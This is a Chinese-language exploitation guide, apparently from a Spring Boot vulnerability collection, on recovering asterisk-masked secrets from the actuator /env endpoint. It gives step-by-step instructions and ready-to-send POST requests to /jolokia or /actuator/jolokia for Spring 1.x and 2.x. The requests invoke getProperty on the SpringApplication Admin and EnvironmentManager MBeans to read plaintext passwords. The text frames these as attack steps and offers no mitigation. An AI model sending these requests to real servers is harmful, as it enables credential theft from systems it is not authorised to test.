Java SpringBoot 安全

获取被星号(*) 脱敏的密码明文

访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果

利用条件:

  • 目标网站存在 /jolokia 或 /actuator/jolokia 接口
  • 目标使用了 jolokia-core 依赖(版本要求暂未知)

    利用方法:

    步骤一:找到想要获取的属性名

    GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

    步骤二:jolokia 调用相关 Mbean 获取明文

    将下面示例中的 security.user.password 替换为实际要获取的属性名,直接发包;明文值结果包含在 response 数据包中的 value 键中。

  • 调用 org.springframework.boot Mbean

实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法
spring 1.x

  1. POST /jolokia
  2. Content-Type: application/json
  3. {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

  1. POST /actuator/jolokia
  2. Content-Type: application/json
  3. {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
  • 调用 org.springframework.cloud.context.environment Mbean

实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法
spring 1.x

  1. POST /jolokia
  2. Content-Type: application/json
  3. {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

  1. POST /actuator/jolokia
  2. Content-Type: application/json
  3. {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
  • 调用其他 Mbean

目标具体情况和存在的 Mbean 可能不一样,可以搜索 getProperty 等关键词,寻找可以调用的方法。

更多漏洞

Github地址:https://github.com/LandGrey/SpringBootVulExploit
Spring Boot安全漏洞 - 图1
Spring Boot安全漏洞 - 图2
Spring Boot安全漏洞 - 图3